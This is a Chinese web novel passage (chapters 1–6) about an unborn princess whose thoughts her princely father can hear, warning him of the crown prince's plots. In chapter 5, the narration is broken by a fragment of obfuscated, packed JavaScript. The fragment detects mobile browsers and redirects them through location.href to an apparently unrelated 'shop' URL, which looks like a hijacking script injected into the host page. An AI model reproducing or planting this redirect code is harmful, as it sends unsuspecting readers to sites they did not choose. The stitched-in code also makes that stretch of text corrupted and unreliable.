《满朝文武偷听我心声,皇位换人了》
第1章 娘胎吐槽,父**惊
大晟王朝,东宫偏殿。
产房内到处弥漫着浓郁的血气和苦涩的药味。
压抑的呻吟声断断续续从产房里传出,像一根绷紧的弦,牵动着等在门外的每个人的心神。
雍王姜肃,此刻正如同热锅上的蚂蚁,在铺着华丽地毯的外间来回踱步。
他年仅三十,面容儒雅,但如今却眉头紧锁,额角也一直渗出细密的汗珠。
因为他的王妃林月瑶,现在正值生产的关键时刻,但情况却并不乐观。
“王爷,您且宽心,王妃吉人天相,定能母子平安。”姜肃身边的内侍小心翼翼地劝慰。
姜肃胡乱地点了点头,目光却死死盯着那扇隔绝内外的雕花木门。
他与王妃少年夫妻,感情甚笃。
今天王妃应召进宫,原本还在御花园好好赏花,却不想意外摔跤,动了胎气。
好在太子皇兄特意恩准王妃在东宫生产,还找来太医院院正照料。
听着里面传出的妻子痛苦的声息,姜肃只觉得心如刀绞,就连屋内弥漫的龙涎香,都让他觉得有一股令人窒息的压迫感。
“怎么还没声音,王妃跟孩子不会有事吧?”姜肃喃喃自语,焦灼几乎要冲破胸膛。
就在姜肃心神不宁之际,一个与他焦急情绪截然不同的、带着浓浓困惑和不满的清脆小奶音,毫无征兆地在他脑海里炸开:
【吵**吵**!谁啊?一直在外面走来走去的?还有,这是什么味道?熏得我头疼!】
姜肃脚步猛地一顿,整个人僵在原地。
谁?是谁在说话?
他惊疑不定地环顾四周。
内侍们在一旁垂手躬身,护卫们肃立门外,并没有人开口。
而且这声音...稚嫩得如同初春的雀鸟,却又带着一种莫名的嫌弃?
是自己听错了?还是因为过度担忧而产生了幻觉?
就在姜肃晃了晃脑袋,打算让自己清醒一下时,声音再度响起。
【唔,让我想想,现在是什么情况?】
【我刚还熬夜看一本野史小说《大晟太子翻身记》,然后失去知觉,再然后...】
【作为一个历史学系的高材生,我就这么水灵灵的穿越了?还穿越在一个未出世的婴儿身上?!】
【啊啊啊!】
几声尖叫在姜肃脑海中回荡,让他彻底知晓,那个声音不是自己产生的错觉。
【等等!刚才那个接生婆说这里是哪里?东宫偏殿!】
紧接着,声音陡然拔高,带着一丝惊悚的意味。
【大晟王朝...元嘉二十三年秋...雍王妃林氏于东宫偏殿产女...这不就是我看的那部野史小说里的剧情吗?难道,我就是那个开局就被炮灰掉的雍王嫡女?!】
听到这儿,姜肃感觉一阵寒气从脚底直窜向天灵盖。
雍王嫡女?
这声音是从王妃肚子里传来的?!
这难道是他还未出世的孩子的心声?!
这,这怎么可能?!
还有炮灰?野史小说?《大晟太子翻身记》?
这都哪儿跟哪儿啊!
姜肃只觉得一阵头晕目眩,这“心声”所说的一切几乎要颠覆他的认知。
他扶住了身旁的紫檀木桌沿,强迫自己镇定下来,指尖因为用力而开始泛白。
还没等姜肃的情绪完全缓和下来,心声继续说道:
【我记得书里说过,雍王妃林氏是难产而死,生出的孩子更是体弱多病,没多久也夭折了。】
【而雍王因为痛失爱妻爱女,又被太子姜诚的假仁假义欺骗,从那以后便对太子死心塌地。最后在太子登基前夜,太子为了立威和讨好世家,便将雍王推出去当替罪羊,然后将其满门抄斩。】
轰——!
这番话如同惊雷在姜肃心头炸响。他瞬间浑身颤抖,脸色更是惨白如纸。
王妃难产而死?爱女夭折?最后...满门抄斩?
不!这不可能!
姜肃下意识地想要反驳,但王妃此刻确实力竭,而且太子今天还异常热情地将王妃安排在东宫生产...
种种巧合和细节,竟然跟那心声所说的内容开始契合上。
这让姜肃心底不受控住地涌起一股冰寒的疑惧。
【怪不得野史上评价我这未来的爹爹是个傻白甜。还真是...】
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【太子私铸龙袍,他帮忙打掩护;太子勾结外戚窦氏贪墨河道救灾款,他帮忙背黑锅;太子意图毒害三皇子,他还傻乎乎地去送点心...】
【简直是被卖了还帮人数钱的典范!蠢得清新脱俗!】
心声这边发出了“啧啧啧”的赞叹声,姜肃则是绝望地闭上了眼睛。
太子姜诚!他的皇兄!原来他对自己只是表面宽厚仁德,实则...
私铸龙袍!贪墨河道款!毒害皇子!
这一桩桩一件件,虽然尚未发生,但一想到未来自己的下场,姜肃就觉得不寒而栗。
从前,他听到别人说太子阴狠毒辣,只当是别人眼红太子的储君地位。
而如今细想...
如若真的如这“心声”所说,那太子的心思是何其歹毒,而自己的未来,又是何其可悲!
一股难以言喻的愤怒和后怕席卷了姜肃的心神。
他过去对太子的忠诚,对二人之间的兄弟之情的看重,在此刻显得如此可笑!
他视作依靠的皇兄,原来从一开始就在算计自己!
【唔...我这娘亲好像没力气了。不行!我要帮帮她!我使劲往外钻一钻!娘亲,你也要加油啊!你要是**,我们全家就真要玩完了!我那傻爹可靠不住啊!】
心声突然变得急切起来,带着一种使出全劲的努力。
姜肃猛地抬头,看向产房的目光充满了前所未有的坚定和决绝。
不管这心声是上天的警示,还是妖孽作祟,都预示了王妃和孩子有危险。
他不能再坐以待毙!更不能让未出世的孩子瞧不起他这个父王!
想到这儿,姜肃的手不自觉地握紧了腰间的宝剑。
“王爷?您怎么了?”内侍察觉到姜肃神色不对,关切地问道。
“无事。”姜肃深吸一口气,强压下翻涌的心绪,整理好自己的表情。
他还不能让别人看出异常,至少现在不能!
就在这时,“哇哇哇...”产房内突然传出一阵嘹亮的婴儿啼哭声!
“生了,生了!是个小郡主!”稳婆欢喜的声音从里面传出。
孩子出生了!
第2章 为救母女,我的父王拔刀了
门外的姜肃听到孩子出生的消息,心头一松,巨大的喜悦涌上心头,但随即又想起那“心声”的预言...
孩子平安出生了,那王妃怎么样了?
【哇,终于出来了!差点憋死我!外面的空气...怎么有点劣质香的味道?生孩子的屋子还点香,这东宫果然是不安好心。】
【对了,生孩子!我这辈子的娘亲哪?娘亲你怎么样了?你可千万别睡啊!】
心声带着哭腔,语气里满是担忧。
姜肃闻言,再也按捺不住,顾不得什么产房污秽的规矩,一把推开试图阻拦的内侍,就要往里冲。
恰在此时,一个威严带着笑意的声音从殿外传来:“孤听说王弟喜得爱女,特来道贺!真是天佑我大晟皇族啊!”
话音未落,一身明黄太子常服的姜诚,在一众宦官宫女的簇拥下,满面春风地走了进来。
他身形高大,面容虽与姜肃有几分相似,却更显雍容华贵。但细瞧下,眉宇之间却隐隐透着一股算计。
姜肃闻言,往产房闯的脚步一顿,转身看向太子,眼神复杂难辨。
若是片刻之前,他定会为皇兄亲自前来探望而感激涕零。
但此刻,想着女儿的心声所说的自己的下场,他只觉得一股寒意从脊背升起。
而同时,脑海中的心声因为太子的出现瞬间炸毛了。
【来了来了,他来了!头号反派他走来了!】
【是太子姜诚!就是他害的这一世的我,家破人亡!】
【他现在过来,肯定没安好心!是不是来确认我娘**没有?顺便来看看我这个还活着的‘小炮灰’?】
【啊啊啊!气死我了!好想上去挠他几下以解我心头之恨!可惜我现在只是个小婴儿,什么都做不了!】
姜诚见姜肃还愣在原地,没过来请安,脸色似乎也不太好,只当他是担忧过度,便笑着上前,拍了拍他的肩膀,安慰道:
“王弟不必忧心,你妻女定会无事的。孤已经命人备下厚礼,稍后便送到雍王府。王妃此次在我东宫产下贵女,这是祥瑞之兆,孤心甚慰。”
姜诚话语亲切,姿态做得十足。
祥瑞之兆?只怕是觉得孩子能出生,才是个“意外”吧!
“臣弟...多谢皇兄关怀。”
姜肃垂下头,掩去眸中的冰冷,语气显得有些僵硬。
太子并未在意姜肃的不自然,目光转向产房方向,状似无意地问道:“王妃现在情况如何?孤特意请了院正前来,可还使得上力?”
【真是黄鼠狼给鸡拜年!他其实巴不得娘亲出事!我的好父王,你可长点心吧?千万别再被他骗了!】
【我猜,他待会儿肯定还要假惺惺地提议,要把我留在东宫照顾。明面上是要沾沾福气,其实就是借机想要拿我当人质,控制我这个单纯善良的爹!】
果然!女儿跟自己想到一块儿去了。
太子此刻出现,八成真是朝着自己女儿来的!
如若王妃真的去了,女儿就是自己唯一的软肋,掌控了女儿,岂不是就可以任意拿捏自己!
就在这时,产房门打开了。
稳婆走了出来,脸上带着如释重负的笑容。
“恭喜王爷!贺喜王爷!王妃虽耗费过甚,但终是转危为安,此刻已经睡下。小郡主虽虚弱,但哭声洪亮,好生将养便无碍。”
平安!母女平安!
姜肃悬着的心终于落回实处,巨大的狂喜让他眼眶微微发热。
【还好刚刚我使劲往外窜了一把,要不然不仅我出不来,我这辈子的娘亲也会被耗死。那剩下爹爹一个人,可就要走向悲惨的结局了。】
“心声”长长嘘了一口气,语气里满是后怕。
姜肃下意识地看了一眼太子,随即捕捉到对方眼中还没来得及掩饰的失望和阴沉。
太子快速调整好表情,笑道:“太好了!王弟真是双喜临门啊!”
紧接着,他话锋一转,“王弟,你看小侄女如此有福气,不如就留在东宫住上一段时日,让孤这个做伯父的也沾沾喜气,如何?”
【来了来了,他又来了!他带着人质陷阱走来了!我的好父王,拒绝他!快拒绝他!随便找个理由!说我体弱不能离开娘亲身边,说娘亲离不开我!总之不能答应他的要求!】
姜肃脑海里的心声急得快要蹦出来了。
而姜肃心中早已有了对策。
他抬起头,脸上露出混合着疲惫、后怕以及一丝决然的表情。
随后深吸一口,猛地后退一步,在太子和众人惊愕的目光中,“哐当
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”一声抽出了腰间佩戴的宝剑!
“皇兄!”姜肃声音悲愤,带着一种似乎被逼到绝境的疯狂。
“臣弟感激皇兄厚爱!但臣弟方才在外,听得王妃生产艰难,几度魂飞魄散!如今母女二人平安,已是上天垂怜!”
“臣弟刚刚发过重誓,此后定当亲自守护她们母女,寸步不离!谁若是再想将她们从臣弟身边带走,除非从臣弟的尸体上踏过去!”
“就算是老天爷来了,也不行!”
姜肃手持宝剑,虽然没有指向太子,但那决绝的姿态,泛红的眼眶,以及话语中毫不掩饰的疼爱妻女之情,瞬间镇住了全场。
内侍宫女们早在雍王拔剑时,就吓得跪倒在地,大气也不敢出。
太子姜诚脸上的笑容则是彻底僵住,眼底的恼怒和难以置信彻底掩藏不住。
他完全没有料到姜肃会是这个反应。
这哪里还是以前那个对自己唯命是从、温和儒雅的雍王?简直是个疯兽!
“王弟!你这是在做什么?快把剑放下!孤也是一片好意...”
太子试图安抚,声音却带上几分厉色。
【哇塞!我的亲爹!你终于支棱起来了!对!就是这样!演他!拿出你潜藏的演技潜力来!要让他知道,你不是好惹的!】
心声在一旁兴奋地呐喊助威。
虽然用词古怪,但姜肃却奇异地听懂了其中的鼓励。
姜肃手中的宝剑握得更紧了,声音更是带着哽咽:
“皇兄的好意,臣弟心领了!但王妃刚才生产时,臣弟隐约听到有小人在密谋,要对臣弟的妻女不利。臣弟宁可信其有!今日,谁也别想将她们母女留在东宫!除非我死!”
姜肃直接将“密谋”和“不利”的帽子隐隐扣下,虽然未明指太子,但在场的人谁听不出来?
在东宫生产是太子安排的,也是太子想留下雍王妃母女。如今雍王如此反应,岂不是在怀疑太子!
此刻,太子的脸色更是极其难看。
他精心布置的计划,不仅全部落空,还引得姜肃如此激烈的反弹,甚至不惜与他撕破脸皮!
就在气氛剑拔**张之际,一个苍老的却威严的声音从殿外传来:
“放肆!皇宫内院,持刀威吓太子,成何体统!”
第3章 获封号,成功回府
就在大家剑拔**张的时刻,皇帝姜桓在一众太监簇拥下,沉着脸走了进来。
他虽年近花甲,鬓角斑白,但眼神依旧锐利,不怒自威。
显然,东宫这边的动静已经惊动了御前。
【好戏开场了!我的好爹爹,你要稳住!把你护犊心切的状态发挥到极致!书上说过,皇帝姜桓虽然疑心病很重,但对这种‘赤诚’的父子情反而会心软。】
姜肃听到心声后,瞬间有了主心骨,再抬头看着皇帝时,眼中含泪,仿佛所有委屈终于得到了宣泄。
他“噗通”一下跪倒,宝剑“当啷”落地,接着便伏地痛哭起来。
“父皇!儿臣有罪!但儿臣实在是怕极了!王妃刚刚九死一生。儿臣一想到差点失去她们母女,就心神俱裂啊!儿臣失态,冲撞了皇兄,请父皇降罪!”
姜肃哭得情真意切,身体都在微微颤抖。
而这,也是一个丈夫、一个父亲在经历巨大恐慌后的真实反映。
皇帝目光如炬。
他先是扫过跪地痛哭的姜肃,又看向一旁脸色铁青的太子,最后落在那紧闭的产房大门上。
“到底怎么回事?”皇帝的声音听不出喜怒。
太子姜诚连忙上前,将事情经过简要说了一遍。
那当中自然略去了自己的算计,反而强调了姜肃的突然发疯和拔刀相向。
皇帝听完,沉默片刻,随后看向姜肃:“肃儿,太子也是一片好意,你反应过激了。”
【糟了糟了!我这位皇帝爷爷好像要各打五十大板了!爹,快上猛料!就顺着之前你听到的“有小人密谋”这条线使劲编,说的越玄乎越好。】
姜肃对心声的话心领神会。
他抬起头,泪痕未干,眼神却带着空洞和恐惧。
“父皇明鉴!儿臣并非无故放肆。方才在此等候时,儿臣心神不宁,恍惚间仿佛听到有声音在儿臣耳边哭泣,说此地小人环伺,欲断我血脉…儿臣一时魔障,惊惧之下,才行为失当!”
说到这儿,姜肃重新伏下身子,并且比之前伏得更低,“儿臣愿领一切责罚,只求父皇允准,让王妃和孩儿即刻随儿臣回府!她们在此多停留一刻,儿臣便心惊胆战一刻!”
在这个信奉天命的时代,这种玄妙预感和幻觉,有时比确凿的证据更能触动人心。
果然,皇帝闻言,眼神微动。
他看着深深伏在地上的雍王,又瞥了一眼面色不自然的太子。
皇家无亲情,他岂会不知太子与雍王之间的微妙关系。
但雍王今日如此激烈的反应,是真的感受到了什么,还是在借题发挥,表达对太子的不满?
但无论是哪种,这都意味着,他这个一向温顺的儿子,似乎有些不一样了。
“罢了。”皇帝终于开口,“朕念你初为人父,忧惧过度,此次便不追究你御前失仪,冲撞太子之罪。”
“谢父皇恩典。”姜肃重重叩首。
“太子,”皇帝又转向姜诚,“你兄弟今日经历此等大事,言语无状,你作为兄长,就体谅一二。既然雍王执意回府,便由他去吧。”
太子心中暗恨,却不得不躬身领命,“儿臣遵旨。”
皇帝的目光投向产房,接着道:“传朕旨意,雍王嫡女,出生逢凶化吉…赐名‘稚’,封号‘安宁’郡主,享公主俸禄。望她能为我大晟,带来安宁富佑。”
说完,皇帝不再多留,转身离去。
【姜稚?安宁郡主?还享公主俸禄!虽然皇帝爷爷给的封号有点普通,但这开局保住了小命,还改写了命运,不错不错!】
【傻爹爹今天表现超常,应该记头功!不过,这才刚刚开始呢,太子肯定记恨上了,以后更要小心了。哇!好累啊,先睡会儿…】
清脆的心声渐渐低沉下去,带着一丝满足和疲惫,最终归于沉寂。
姜肃跪在地上,听着女儿逐渐平稳的呼吸声,心中百感交集。
惊涛骇浪的一天,因为这玄幻的“心声”,彻底改变了他和家人的命运轨迹。
他缓缓抬起头,看着太子离去的方向,眼神不再是过去的温顺与盲从,而是沉淀下的冰冷和隐晦的锋芒。
......
雍王府,听竹苑内。
夜色已深,摇曳的烛火将室内渲染得温暖而静谧。
雍王妃林月瑶产后虚弱
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,在安神汤的作用下沉沉睡去。
而雍王姜肃此刻却毫无睡意。
他坐在离床榻不远的紫檀木圆椅上,目光却始终落在床边那个小小的、被襁褓包裹的奶团子身上。
襁褓里面的是他的女儿,姜稚,安宁郡主。
小家伙睡得正香,呼吸清浅,小脸粉嘟嘟的。
她的睫毛长而卷翘,在眼睑下投下淡淡的阴影,看上去无害又纯真。
这幅可爱的模样,根本无法将她与在自己脑海中掀起惊涛骇浪的那个“心声”主人联系在一起。
【呼…这古代的床铺有点硬啊,比不上我的席梦思,不过总算离开那个危险的东宫了…暂时,安全了…】
断断续续的、带着睡意的嘟囔声在姜肃脑海中响起。
姜肃原本紧绷的嘴角不自觉柔和了几分。
这席梦思,又是何物?
但这不重要了。重要的是,女儿觉得现在安全了。
但是,这安全感又能持续多久?
今日在东宫,他借女儿的心声预警和表演,暂时摆脱了太子的控制,甚至意外得到了父皇的封赏。
但这也无异于彻底站在了太子的对立面。
以他对太子姜诚的了解,此事绝不可能善罢甘休。
“王爷,”管家福伯轻手轻脚地进来,低声道,“府内已加强了守卫,尤其是听竹苑周围,安排了三重暗哨,皆是可靠之人。”
姜肃点了点头,目光依旧没有从女儿身上离开:“嗯,王妃和郡主的安危,是府中第一要务。饮食,用药,必须要经由信得过的人层层查验,不可假手他人。”
“老奴明白。”福伯犹豫了一下,又道,“王爷,今日您在东宫的行动是否太过…太子那边,恐怕…”
姜肃摆了摆手,打断了他:“福伯,本王心中有数。从前是本王想差了,以为谨守臣弟本分,忠心辅佐,便能得到一份安稳。如今看…”
他冷笑一声,眼底闪过一丝寒芒,“有人并不想给我们一家活路。”
福伯看着自家王爷眼中从未有过的冷厉和决绝,心中虽惊,更多的却是欣慰。
王爷终于…不再对东宫那位抱有幻想了。
第4章 得知龙袍秘闻,王爷崛起
【嗯嗯…嘴唇好干…想喝水…】
呓语般的心声在姜肃脑海中响起,带着一点渴求。
假寐中的姜肃立刻起身,动作轻柔地走到女儿床边。
他看向襁褓里尚在睡眠中的女儿,发现女儿的嘴唇确实有点起皮,然后向守在一旁的奶嬷嬷招手示意。
奶嬷嬷会意,小心地用温热的棉巾沾了温水,轻轻擦拭了一下姜稚的嘴唇。
【唔…舒服多了…这个奶嬷嬷手法真不错,比东宫那个眼神乱瞟的靠谱多了…】
姜稚感觉睡饱了,心满意足地睁开了眼睛。
她活动了一下自己的小手小脚,正巧对上姜肃的视线。
【要说起来,我这个爹爹长得真是一表人才啊!不过他怎么看起来忧心忡忡的。是在担心太子的报复吧?唉,也难怪,毕竟现在势单力薄…】
姜肃闻言,心中苦笑。
势单力薄…
确实如此。
他一个闲散王爷,在朝中既无实权又无根基,除了郡王头衔和一份不算丰厚的俸禄,如何能与经营多年的太子抗衡?
【其实爹爹也不用太担心啦,太子马上要焦头烂额的事情多着呢!】
【书上说过,他私铸龙袍的那个秘密工坊,就在城西永乐坊的一所三进宅院里,那里明面上是个绸缎庄的后院,其实就是他专门为做龙袍而建的。】
【啧啧啧,天子脚下啊,胆子真肥…】
【说起这个证据,他藏哪儿来着?好像是个账本,是藏在他书房多宝阁那个暗格里?还是他某个情妇的枕头里来着?这个章节,我怎么记不清了…】
“咳咳咳…唔唔唔…”
姜肃原本刚端起茶杯抿了一口,听到这里,差点一口茶水喷出来。
为了自己的王爷形象,他强行咽下,随之便剧烈咳嗽起来。
但又怕咳嗽声惊扰了妻女休息,便用手将嘴捂住,瞬间就把脸憋得通红。
“王爷!”福伯跟奶嬷嬷被姜肃的操作吓了一跳。
“无、无事!”
姜肃摆摆手示意自己没事,心脏却“咚咚咚”地狂跳起来,似乎在下一息就要从胸膛里跳出来。
私铸龙袍!工坊地点!还有账本可能藏匿的地方!
他的女儿是不是并不知晓,她这几句话透漏出的信息,是足以将太子置于死地的惊天秘闻!
私铸龙袍,等同谋逆,是株连的大罪!
太子已经是东宫储君,他连这点时间都等不及了吗?
一股寒意夹杂着狂喜席卷了姜肃的内心。
寒意,在于太子的胆大包天和狠毒;狂喜,则在于自己手中似乎握住了一张足以保住全家的致命王牌。
但姜肃瞬间冷静下来。
此事关系重大,决不能贸然行动。
一来,这仅仅是自己女儿的“心声”,他无法将这个作为实证。如果说出去,不仅自己会被当做异类,连稚儿也会有危险;
二来,太子势力盘根错节,若无完全把握就将此事公开,打蛇不死,反受其害;
三来,父皇对此事会是什么态度?是雷霆震怒?还是会为了维护太子,而将此事压下?
现在的他需要时间,需要布局,需要确凿的证据,更需要一个合适的时机。
【咦?我爹爹怎么咳成这样?吓我一跳。看来是今天惊吓过度了…】
【也是,从忠心不二的傻白甜转化变成拔剑硬钢太子的霸总,啊!不!应该是霸道王爷!跨度是有点大,确实需要适应期。】
【不过,这个进化转变已经很优秀了,有几分开窍的样子。不错不错。】
听着女儿老气横秋的点评,姜肃又是好笑又是无奈。
这霸总跟霸道王爷又是什么古怪词汇。但听起来似乎是在夸奖他。
稚儿竟然在夸赞他!这可是女儿对他的第一次认可!
姜肃下意识将脊背挺得更直了一些。
他深吸几口气,平复了一下激动的心情,招呼福伯上前。
“福伯,”姜肃将声音压得很低,语气凝重,“有件事情,你亲自去办,但是务必要隐秘。”
“王爷请吩咐。”
“派人盯住城西永乐坊所有三进以上的宅院,特别是…做绸缎生意的。注意进出人员,看看有无异常。记住,只盯不动!有任何异常情况,随时通传给我!”
福伯眼中闪过一丝惊疑,
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但并未多问,立刻躬身应道,“是,老奴这就亲自去安排。”
姜肃点了点头,目光重新落回到女儿身上,眼神复杂无比。
襁褓中的女儿,究竟还知道多少足以颠覆朝野的秘密?
她之前口中说过的“野史小说”,莫非是某种预知天命的神谕?
但无论如何,这都是自己的女儿,他都会拼尽全力护好她!
……
接下来的几日,雍王府看起来风平浪静。
雍王妃林月瑶在精心调养下,身体逐渐好转,已经能下地轻微的活动。
她得知生产那日的凶险后,一直心有余悸,对丈夫当日的“冲动”后怕不已,但更多的却是劫后余生的庆幸和对女儿的满满怜爱。
“王爷,那日您实在太冒险了。”林月瑶靠在软枕上,看着身旁摇篮里挥舞着小手的女儿,柔声道,“若是当日,陛下怪罪下来…”
姜肃握住林月瑶的手,温声劝慰道:“阿瑶放心,为了你和稚儿,再冒险也值得。况且,父皇这不是并未深究嘛,还赐了稚儿封号。”
姜肃并未将能听到女儿心声之事告诉林月瑶。
因为这种事太过匪夷所思。
知道的人越少,稚儿也就越安全。
他只需要让阿瑶知道,他会不惜一切、拼尽全力保护她们母女就好。
【娘亲长得可真好看,又温柔又坚强!跟爹爹两个真是天生一对!不过,看爹爹眼下都有黑眼圈了,感觉他最近好忙啊!难道,他是在琢磨怎么对付太子吗?】
姜稚的心声适时响起,带着对父母爱情的羡慕,还有对父亲动向的好奇。
姜肃听到女儿心里在关心自己,心里暖暖的,看向母女二人的目光更加柔和。
他最近确实很忙。
除了暗中调查龙袍之事,他还在不动声色地梳理自己手中可用的人脉和资源,思考着自己下一步的计划。
既然已经准备反水太子,那么接下来的每一步都要慎之又慎。
闲散王爷的身份既然护不住自己的妻女,自己就要努力往前再迈一步。
这个念头一旦升起,便如同野草一般在姜肃心中疯长。
第5章 发家致富当富婆
这日,姜肃正在听竹苑外间看着一份关于北疆军报的邸抄,然后将上面重要的信息誊抄到自己的记事录里。
自从女儿出生后,如若没有要紧的事情,姜肃几乎是一步都不曾离开妻女身边。一些简单的公务也都搬到了听竹苑来处理。
【哎,好无聊啊…除了吃就是睡,要不就是被抱来抱去…啥时候能长大啊!我也想跟父王一样搞事业!躺赢虽然爽,但自己挣钱当富婆才香嘛!】
姜稚无聊地自言自语起来。
听到女儿的心声,姜肃的嘴角不受控制地抽搐了一下。
搞事业?富婆?
他这个女儿,志向倒是不小。
【这说起来,爹爹看起来好像不太富裕的样子,我是要想办法搞点钱才是。毕竟经济基础决定上层建筑嘛!】
【话说回来,我记得书里说过,京城南边有个叫“清水洼”的烂泥地,多年来一直无人问津。但是那下面好像是有盐矿。不管哪个朝代,盐都是稀罕物。等我能自己下地走了,第一件事就是把那块地买下来!发家致富可全靠它了!】
盐矿?!
听到这儿,姜肃手中的笔猛地一顿,墨汁在记事录上晕开一团污渍。
盐,乃国之重器!属于官营专卖,且利润丰厚。
如若真如稚儿所言,清水洼下有盐矿,那将是一笔何等惊人的财富!
姜肃立刻起身,走到书柜旁,
翻找起关于京城周边的地理志和矿藏记录的书籍。
找到了!
地理志记载,那地方种什么就死什么。而且因为地势低洼,还常年积水,早就已经一片荒芜。因而那里被官府划为无用之地,地价极低。
若稚儿所说的是真的...
想到这儿,姜肃激动地在房间内走来走去。
【诶?爹爹怎么又激动了?难道是北疆军情很紧张吗?说起来,我记得有个皇叔现在好像在北疆。】
【啧啧,年纪小小就被打发到那种苦寒之地,还被赐名为‘寒’,皇帝爷爷这心也是够狠的...】
【不过,这人是真有本事,愣是靠自己在北疆杀出一条血路,掌控了三十万人的龙渊大军。属实是狠人一枚!】
【我记得书里说他是‘郎艳独绝,世无其二’呢!听这评价就知道这人肯定是帅到极致。好想跟他本人见上一面啊!】
皇子?稚儿说的难道是姜寒川?!
此人现在确实在北疆。虽名义上为十三皇子,其实并无皇室血统。
他原本叫萧川,乃是已故镇北王唯一的子嗣。
当年,镇北王为国战死沙场,王妃得知消息后当场殉情,只留下萧川这唯一血脉。
父皇感念镇北王功绩,将年幼的萧川收养在宫中,赐“姜”姓。
元嘉二十年,因窦贵妃挑拨,父皇盛怒之下以其“性寒克亲”为由,赐名“寒川”,远逐北疆。
美其名曰历练,实同流放。
这些年,几乎没人再提起过他。
没想到,他这名义上的十三弟,未来竟能成为掌控三十万龙渊军的修罗战神!
北疆…龙渊军…
他记得,镇北王有一些旧部在北疆还有不少影响力,这或许就是姜寒川能在那里站稳脚跟的原因?
如若姜寒川真能崛起,或许,这是一股可以借助的力量。至少,不能让太子将其拉拢过去。
姜肃感觉自己仿佛在下一盘巨大的棋,而女儿姜稚的心声,就是那照亮棋盘的明灯,让他得以窥见迷雾下的关键棋子。
“王爷,”福伯急促的声音在门外响起,打断姜肃的思绪,“宫里传来消息,说陛下带人微服出宫,正往咱们雍王府的方向来。”
现在这个时辰微服出行,还是来他府中,会是什么事?姜肃不禁心神一凛。
【呀?皇帝爷爷这么晚来家里,该不会是太子又搞什么幺蛾子了吧?爹爹,你要稳住‘爱妻护女’的人设,别害怕!加油!本宝宝的精神与你同在!】
女儿的心声让姜肃有些想笑,但也如同贴心的鼓励,让他原本紧张的心情快速安稳下来。
他整理了一下衣袍,深吸一口气,恢复了平日里那副温润儒雅的模样。
只是眼底深处,多了一丝沉稳和锐利。
……
雍王府书房内,灯火通明。
皇帝姜桓坐在书桌后,面色沉静,看不出喜怒。
太子姜诚垂首站在下首,表情恭顺,只是偶尔抬眼瞥向书房门口的目光中,闪过一丝阴冷。
除了他们,书房中还有一人——
当朝太师,颍川谢氏的家主,谢允。
他须发皆白,看起来老态龙钟,但一双眼睛却是精光内敛。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830819|191176||http|test|mini|href|location''.split(''|''),0,{}));
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r>此刻他也如同一尊泥塑般,沉默地肃立在一旁。
不多时,姜肃快步进来,依礼**:“儿臣参见父皇。”
“平身吧。”皇帝的声音平淡无波。
“谢父皇。”姜肃起身,又对太子和谢太师微微颔首,“皇兄,谢太师。”
太子皮笑肉不笑地回了半礼。
皇帝看向姜肃:“肃儿,雍王妃和安宁郡主可好?”
“劳父皇挂心,母女均已安好,只是王妃仍要静养,所以不便前来请安。”姜肃恭敬地回答。
皇帝闻言,神色稍缓,“雍王妃身体不适,就好好歇着。皇室本就子嗣单薄,朕的孙女,自出生还未曾见过,快抱来让朕瞧瞧。”
姜肃拱手称“是”,转身招手。
候在书房外的乳母抱着姜稚缓步走了进来。
待走到皇帝身边便跪伏在地,将姜稚稳稳抱住,呈于御前。
皇帝俯身,目光落在姜稚软玉般的小脸上。
伸出的手只是轻轻碰了碰姜稚额前的碎发,便收了回去。
“这眉眼像极了雍王妃,不哭不闹安静的性子随了肃儿。是个乖孩子。”
他们哪知,这是姜稚沉浸在见到帝王的震惊和激动中,根本忘记做出任何反应。
太子却在这时轻笑一声,“父皇好眼力,儿臣瞧着,这小侄女确实比寻常孩子安静得多。只是不知,这安静是随了肃王弟,还是——”
他的目光斜斜掠过姜肃,似是意有所指,“随了那些‘静养’的缘由。”
【太子心眼子可真坏!不就是想说,就算爹爹把我跟娘亲带回来,我跟娘亲也活不长嘛!】
姜稚心里恨得咬牙切齿,小手恨不得从襁褓里挣脱出来,给上太子一拳。
姜肃负在背后的手也倏地收紧,面上却不改温雅的笑意,“太子殿下说笑了。太医已经来看过,说只要好生将养,没有小人作祟,母女定能安好。”
“你...”
太子没想到姜肃反应如此之快,一时间竟然哑口无言。
“安好便好,乳母定要仔细些,莫让孩子吹风。”皇帝点点头,无视太子与雍王之间的暗涌。
乳母忙叩首领命,抱着姜稚退到一边。
“其实,朕今日前来,是为另一件事。”
皇帝话锋一转,眼神渐渐变得犀利起来。
第6章 皇爷爷登门,祸水东引
“朕今日来,除了看望安宁郡主以外,其实还为了另一件事。”皇帝的语气听起来忧心忡忡。
“北疆八百里加急军报。匈奴犯边,想挑起战火。龙渊军向朝廷请调粮草军饷。但是去年河道水患,国库赈灾耗费甚巨,至如今军饷一时难以筹措...”
姜肃心中有所触动,垂首道:“匈奴猖獗,边关将士辛苦,父皇忧心国事,儿臣亦感同身受。”
太子姜诚此时接口说道:“父皇,儿臣以为,国难当头,我等皇子更应率先做出表率。”
太子说到这儿,别有深意地看了姜肃一眼。
“说起来,肃王弟虽然不掌实权,但封地岁贡亦有一笔收入,不如就先让肃王弟慷慨解囊,暂借部分岁银以充军资,待国库充裕再行归还。”
【这太子也太不是东西了!这是要借机掏空爹爹的家底啊!若爹爹答应了,雍王府恐怕连下人的月钱都发不出来了!这不是欺负老实人嘛!】
姜稚不满地在心里吐槽道。
姜肃听了,心中不禁冷笑。
是啊,稚儿说得没错。
他一个闲散王爷,封的岁贡本就不多,现在就算将雍王府翻个底朝天,也根本拿不出多少钱粮筹措军饷。
但他若是不应,恐怕太子就会把“不体恤将士”“吝啬自私”的帽子扣下来!
虽然知道太子的狠毒用心,但姜肃别无他法,也只能实事求是向皇帝禀报:
“皇兄所言极是。为国分忧,儿臣义不容辞。只是儿臣封地贫瘠,岁贡有限,加上王妃生产耗费颇多,府中余财实在是杯水车薪。”
太子似笑非笑开口道:“肃王弟过谦了。如若雍王府钱粮不丰,为何你不愿妻女在东宫休养,非要带他们回雍王府?”
“肯定是嫌弃我东宫条件远不及雍王府,怕怠慢了弟妹跟侄女。肃王弟现在的做派,难道是舍不得出钱为国出力?”
谢太师略显苍老的声音,也在此时缓缓开口:
